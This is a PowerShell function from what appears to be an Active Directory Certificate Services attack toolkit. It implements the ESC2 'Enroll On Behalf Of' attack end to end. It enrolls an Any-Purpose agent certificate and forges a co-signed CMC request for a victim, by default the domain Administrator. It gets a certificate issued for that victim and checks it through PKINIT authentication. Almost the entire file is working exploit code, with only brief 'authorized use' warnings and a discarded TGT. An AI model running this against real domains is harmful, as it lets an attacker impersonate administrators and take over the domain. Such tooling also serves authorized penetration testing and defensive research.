Private/Invoke-EOBOAttack.ps1

function Invoke-EOBOAttack {
    <#
        .SYNOPSIS
        Performs an ESC2 attack: uses an Any-Purpose-EKU (or no-EKU) certificate as an
        Enrollment Agent to Enroll On Behalf Of a target user, then verifies via PKINIT.
        Pure PowerShell - no external tools.
 
        .DESCRIPTION
        ESC2 abuses a certificate template whose Extended Key Usage is Any Purpose
        (2.5.29.37.0) or absent. A certificate issued from such a template is valid for
        any application - including acting as a Certificate Request Agent
        (1.3.6.1.4.1.311.20.2.1). That lets the holder Enroll On Behalf Of (EOBO) another
        principal against a template that requires an agent signature
        (msPKI-RA-Signature >= 1 and msPKI-RA-Application-Policies = Certificate Request Agent).
 
        This function:
        1. Enrolls an agent certificate from the ESC2 (Any-Purpose) template.
        2. Builds a target PKCS#10 for the victim, wraps it in a CMC request with
           RequesterName set to the victim, and co-signs it with the agent cert
           (Enroll On Behalf Of, MS-WCCE 3.1.1.4.3.1.4).
        3. Submits the EOBO request to the CA for the agent-protected template.
        4. Verifies the issued target certificate authenticates as the victim via the
           vendored PSPkinit Invoke-PkinitAuthentication. The TGT is zeroed/discarded -
           never injected, written to disk, or applied to the session.
 
        .PARAMETER AgentTemplateObject
        DirectoryEntry of the ESC2-vulnerable template (Any Purpose EKU or no EKU, and
        enrollable by the current principal). Used to obtain the enrollment-agent cert.
 
        .PARAMETER TargetTemplateName
        Name of the agent-protected template to enroll the victim into (e.g. a schema v1
        'User'-class template with msPKI-RA-Signature >= 1). Defaults to 'UserEOBO'.
 
        .PARAMETER CertificateAuthority
        CA configuration string "CA-SERVER\CA-NAME". Auto-discovered if omitted.
 
        .PARAMETER TargetPrincipal
        DirectoryEntry of the victim to enroll on behalf of. Defaults to domain
        Administrator (RID 500).
 
        .PARAMETER WhatIf
        Shows the attack without contacting the CA or KDC.
 
        .OUTPUTS
        PSCustomObject with Success, AgentTemplate, TargetTemplate, TargetPrincipal,
        TargetSID, AgentCertThumbprint, TargetCertThumbprint, PkinitVerified, Principal,
        Realm, TgtEndTime, Error.
 
        .EXAMPLE
        $agent = Get-AdcsObjects | Where-Object { $_.Properties['name'].Value -eq 'AgentAnyPurpose' }
        Invoke-EOBOAttack -AgentTemplateObject $agent -TargetTemplateName 'UserEOBO'
 
        .NOTES
        WARNING: real certificate enrollment + PKINIT authentication. Authorized use only.
        The KDC logs the authentication; issued certs are logged on the CA and revocable.
 
        .LINK
        https://posts.specterops.io/certified-pre-owned-d95910965cd2
    #>

    [CmdletBinding(SupportsShouldProcess)]
    param (
        [Parameter(Mandatory, ValueFromPipeline)]
        [ValidateNotNull()]
        [System.DirectoryServices.DirectoryEntry]$AgentTemplateObject,

        [Parameter()]
        [ValidateNotNullOrEmpty()]
        [string]$TargetTemplateName = 'UserEOBO',

        [Parameter()]
        [string]$CertificateAuthority,

        [Parameter()]
        [System.DirectoryServices.DirectoryEntry]$TargetPrincipal
    )

    #requires -Version 5.1

    begin {
        Write-Verbose "[$(Get-Date -Format 'yyyy-MM-dd hh:mm:ss')] Starting $($MyInvocation.MyCommand)..."

        # Load vendored PSPkinit + ESCalator enrollment helpers (idempotent)
        $pspk = Join-Path $PSScriptRoot 'PSPkinit'
        foreach ($f in 'Asn1.ps1','KerberosCrypto.ps1','PkinitMessages.ps1','PkinitModPow.ps1','Pkinit.ps1','CertEnroll.ps1','Invoke-PkinitAuthentication.ps1') {
            $p = Join-Path $pspk $f; if (Test-Path $p) { . $p }
        }
        foreach ($f in 'ConvertTo-Pkcs8PrivateKey.ps1','ConvertTo-NtdsSidExtension.ps1','Request-ESC1Certificate.ps1') {
            $p = Join-Path $PSScriptRoot $f; if (Test-Path $p) { . $p }
        }

        # Domain info
        $domainSid = $null; $netbiosDomain = $env:USERDOMAIN; $domainFqdn = $null
        try {
            $rootDSE = New-Object System.DirectoryServices.DirectoryEntry('LDAP://RootDSE')
            $defaultNC = $rootDSE.Properties['defaultNamingContext'].Value
            $domainFqdn = ($defaultNC -replace 'DC=','' -replace ',','.')
            $domainEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$defaultNC")
            if ($domainEntry.Properties['objectSid'].Value) {
                $domainSid = (New-Object System.Security.Principal.SecurityIdentifier($domainEntry.Properties['objectSid'].Value, 0)).Value
            }
        } catch { Write-Warning "Could not retrieve domain info: $($_.Exception.Message)" }
    }

    process {
        $agentTemplateName = $AgentTemplateObject.Properties['name'].Value

        $fail = { param($m) Write-Error $m; return [PSCustomObject]@{
            Success=$false; AgentTemplate=$agentTemplateName; TargetTemplate=$TargetTemplateName
            TargetPrincipal=$null; TargetSID=$null; AgentCertThumbprint=$null; TargetCertThumbprint=$null
            PkinitVerified=$false; Principal=$null; Realm=$null; TgtEndTime=$null; Error=$m } }

        if ($AgentTemplateObject.SchemaClassName -ne 'pKICertificateTemplate') {
            return & $fail "AgentTemplateObject is not a certificate template: $($AgentTemplateObject.SchemaClassName)"
        }

        # Confirm ESC2 primitive: Any Purpose EKU or no EKU
        $ekus = @($AgentTemplateObject.Properties['pKIExtendedKeyUsage'].Value)
        $anyPurpose = ($ekus -contains '2.5.29.37.0') -or ($ekus.Count -eq 0)
        if (-not $anyPurpose) {
            Write-Warning "Template '$agentTemplateName' is not Any-Purpose/no-EKU (EKUs: $($ekus -join ', ')). ESC2 may not apply."
        }

        # Resolve victim
        $targetSID = $null; $targetName = $null; $targetUPN = $null; $targetDN = $null; $targetNT = $null
        if ($TargetPrincipal) {
            try {
                $targetSID = (New-Object System.Security.Principal.SecurityIdentifier($TargetPrincipal.Properties['objectSid'].Value, 0)).Value
                $targetName = $TargetPrincipal.Properties['sAMAccountName'].Value
                $targetUPN = $TargetPrincipal.Properties['userPrincipalName'].Value
                $targetDN = $TargetPrincipal.Properties['distinguishedName'].Value
            } catch { return & $fail "Failed to read target principal: $($_.Exception.Message)" }
        } else {
            if (-not $domainSid) { return & $fail 'No domain SID for default Administrator target' }
            $targetSID = "$domainSid-500"; $targetName = 'Administrator'
            # resolve DN/UPN
            try {
                $adm = New-Object System.DirectoryServices.DirectoryEntry("LDAP://<SID=$targetSID>")
                $targetDN = $adm.Properties['distinguishedName'].Value
                $targetUPN = $adm.Properties['userPrincipalName'].Value
            } catch { }
        }
        if (-not $targetUPN) { $targetUPN = "$targetName@$domainFqdn" }
        if (-not $targetDN) { $targetDN = "CN=$targetName,CN=Users," + ($domainFqdn -split '\.' | ForEach-Object { "DC=$_" }) -join ',' }
        $targetNT = "$netbiosDomain\$targetName"
        Write-Verbose "Victim: $targetName SID=$targetSID UPN=$targetUPN DN=$targetDN"

        # Discover CA
        if (-not $CertificateAuthority) {
            try {
                $caObjects = Get-AdcsObjects | Where-Object { $_.SchemaClassName -eq 'pKIEnrollmentService' }
                $caFullName = Get-CAFullName -CAObjects $caObjects
                $CertificateAuthority = if ($caFullName -is [string]) { $caFullName } else { $caFullName[0] }
            } catch { }
            if (-not $CertificateAuthority) { return & $fail 'Could not auto-discover Certificate Authority' }
        }

        $realm = $domainFqdn.ToUpperInvariant()
        try { $kdc = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().FindDomainController().Name }
        catch { $kdc = ($CertificateAuthority -split '\\')[0] }

        if (-not $PSCmdlet.ShouldProcess("$agentTemplateName -> $TargetTemplateName for $targetName", 'ESC2 EOBO attack')) {
            Write-Host "What if: enroll agent cert from '$agentTemplateName', EOBO '$targetName' into '$TargetTemplateName', PKINIT-verify as $targetUPN against $kdc" -ForegroundColor Yellow
            return [PSCustomObject]@{ Success=$true; AgentTemplate=$agentTemplateName; TargetTemplate=$TargetTemplateName
                TargetPrincipal=$targetName; TargetSID=$targetSID; AgentCertThumbprint=$null; TargetCertThumbprint=$null
                PkinitVerified=$null; Principal=$null; Realm=$realm; TgtEndTime=$null; Error='WhatIf' }
        }

        Write-Warning "Executing ESC2 EOBO: agent template '$agentTemplateName', target '$TargetTemplateName', victim '$targetName'"

        $agentReq = $null; $targetReq = $null
        $agentEnrollment = $null; $agentThumb = $null
        try {
            # --- Step 1: enroll the ESC2 (Any-Purpose) agent cert into CurrentUser\My.
            # CertEnroll persists the CNG key there, and CSignerCertificate searches
            # CurrentUser by default - the two must agree. ---
            Write-Host '[i] Step 1: enrolling Any-Purpose agent certificate...' -ForegroundColor Cyan
            $agentReq = New-PkinitCertificateSigningRequest -Subject "CN=$targetName Agent" -San $targetUPN -SanType UserPrincipalName
            $agentB64 = Submit-PkinitCertificateSigningRequest -Base64Csr $agentReq.Base64Csr -Template $agentTemplateName -San $targetUPN -SanType UserPrincipalName -CertificateAuthorityConfig $CertificateAuthority
            Install-PkinitCertificateResponse -Enrollment $agentReq.Enrollment -Base64Certificate $agentB64
            $agentEnrollment = $agentReq.Enrollment
            $agentCertObj = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([Convert]::FromBase64String(($agentB64 -replace '\s','')))
            $agentThumb = $agentCertObj.Thumbprint
            $agentEku = ($agentCertObj.Extensions | Where-Object { $_.Oid.Value -eq '2.5.29.37' }).Format($false)
            Write-Host "[+] Agent cert issued: $agentThumb (EKU $agentEku)" -ForegroundColor Green

            # --- Step 2: build inner target CSR (CertEnroll) + EOBO CMC co-signed by agent ---
            Write-Host '[i] Step 2: building EOBO request co-signed by the agent...' -ForegroundColor Cyan
            $innerKey = New-Object -ComObject X509Enrollment.CX509PrivateKey
            $innerKey.ProviderName = 'Microsoft Software Key Storage Provider'
            $innerKey.Length = 2048
            $innerKey.KeySpec = 1            # AT_KEYEXCHANGE
            $innerKey.MachineContext = $false
            $innerKey.ExportPolicy = 1       # exportable
            $innerKey.Create()

            $innerDn = New-Object -ComObject X509Enrollment.CX500DistinguishedName
            $innerDn.Encode($targetDN, 0)

            # SAN = target UPN on the inner request
            $alt = New-Object -ComObject X509Enrollment.CAlternativeName
            $alt.InitializeFromString(11, $targetUPN)  # 11 = XCN_CERT_ALT_NAME_USER_PRINCIPAL_NAME
            $alts = New-Object -ComObject X509Enrollment.CAlternativeNames
            $alts.Add($alt)
            $sanExt = New-Object -ComObject X509Enrollment.CX509ExtensionAlternativeNames
            $sanExt.InitializeEncode($alts)

            # Client Auth EKU on the inner request
            $ekuOid = New-Object -ComObject X509Enrollment.CObjectId
            $ekuOid.InitializeFromValue('1.3.6.1.5.5.7.3.2')
            $ekuColl = New-Object -ComObject X509Enrollment.CObjectIds
            $ekuColl.Add($ekuOid)
            $ekuExt = New-Object -ComObject X509Enrollment.CX509ExtensionEnhancedKeyUsage
            $ekuExt.InitializeEncode($ekuColl)

            $inner = New-Object -ComObject X509Enrollment.CX509CertificateRequestPkcs10
            $inner.InitializeFromPrivateKey(1, $innerKey, '')  # ContextUser
            $inner.Subject = $innerDn
            $inner.X509Extensions.Add($sanExt)
            $inner.X509Extensions.Add($ekuExt)
            $inner.Encode()

            $cmc = New-Object -ComObject X509Enrollment.CX509CertificateRequestCmc
            $cmc.InitializeFromInnerRequest($inner)
            $cmc.RequesterName = $targetNT
            $signer = New-Object -ComObject X509Enrollment.CSignerCertificate
            $signer.Initialize($false, 0, 12, $agentThumb)  # ContextUser, FindByThumbprint
            $cmc.SignerCertificate = $signer
            $cmc.Encode()

            $enroll = New-Object -ComObject X509Enrollment.CX509Enrollment
            $enroll.InitializeFromRequest($cmc)
            $eoboB64 = $enroll.CreateRequest(1)  # Base64

            # --- Step 3: submit EOBO for the agent-protected template ---
            Write-Host "[i] Step 3: submitting EOBO request to '$CertificateAuthority' for template '$TargetTemplateName'..." -ForegroundColor Cyan
            $cr = New-Object -ComObject CertificateAuthority.Request
            $disp = $cr.Submit(0xFF, $eoboB64, "CertificateTemplate:$TargetTemplateName", $CertificateAuthority)
            if ($disp -ne 3) { return & $fail "EOBO request not issued (disposition $disp): $($cr.GetDispositionMessage())" }
            $targetB64 = $cr.GetCertificate(1)
            $targetBare = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([Convert]::FromBase64String(($targetB64 -replace '\s','')))
            # Bind the issued cert to the inner request's private key via the enrollment
            # object, which tracks the inner key across submission. InstallResponse stores
            # the cert+key in CurrentUser\My; we then re-read it so the key resolves via CNG.
            try {
                $enroll.InstallResponse(2, $targetB64, 1, '')  # AllowUntrustedCertificate, Base64
                $tread = [System.Security.Cryptography.X509Certificates.X509Store]::new('My','CurrentUser')
                $tread.Open('ReadOnly')
                $targetCert = $tread.Certificates | Where-Object { $_.Thumbprint -eq $targetBare.Thumbprint }
                $tread.Close()
                if (-not $targetCert) { $targetCert = $targetBare }
            } catch {
                Write-Verbose "InstallResponse key binding failed: $($_.Exception.Message)"
                $targetCert = $targetBare
            }
            Write-Host "[+] Target cert issued: $($targetBare.Thumbprint) Subject: $($targetBare.Subject) HasKey=$($targetCert.HasPrivateKey)" -ForegroundColor Green

            # --- Step 4: PKINIT-verify the target cert as the victim (TGT discarded) ---
            Write-Host '[i] Step 4: verifying target cert via PKINIT...' -ForegroundColor Cyan
            $pkVerified = $false; $pkPrincipal = $null; $pkEnd = $null
            try {
                $auth = Invoke-PkinitAuthentication -Certificate $targetCert -ClientName $targetUPN -Realm $realm -KdcHostname $kdc
                $pkVerified = [bool]$auth.Verified; $pkPrincipal = $auth.CName; $pkEnd = $auth.EndTime
                Write-Host "[+] PKINIT verified: TGT for $($auth.CName) (until $($auth.EndTime)). TGT discarded, not injected." -ForegroundColor Green
            } catch {
                Write-Warning "PKINIT verification failed: $($_.Exception.Message)"
            }

            return [PSCustomObject]@{
                Success              = $true
                AgentTemplate        = $agentTemplateName
                TargetTemplate       = $TargetTemplateName
                TargetPrincipal      = $targetName
                TargetSID            = $targetSID
                AgentCertThumbprint  = $agentThumb
                TargetCertThumbprint = $targetCert.Thumbprint
                PkinitVerified       = $pkVerified
                Principal            = $pkPrincipal
                Realm                = $realm
                TgtEndTime           = $pkEnd
                Error                = $null
            }
        } catch {
            return & $fail "ESC2 attack failed: $($_.Exception.Message)"
        } finally {
            # Clean up the agent cert from CurrentUser\My; the EOBO target cert lives in
            # the caller's hands only (not persisted by this function).
            if ($agentThumb) {
                try {
                    $st = [System.Security.Cryptography.X509Certificates.X509Store]::new('My','CurrentUser')
                    $st.Open('ReadWrite')
                    $leftover = $st.Certificates | Where-Object { $_.Thumbprint -eq $agentThumb }
                    foreach ($c in $leftover) { $st.Remove($c) }
                    $st.Close()
                } catch { Write-Verbose "agent cert cleanup: $($_.Exception.Message)" }
            }
        }
    }

    end {
        Write-Verbose "[$(Get-Date -Format 'yyyy-MM-dd hh:mm:ss')] Finishing $($MyInvocation.MyCommand)..."
    }
}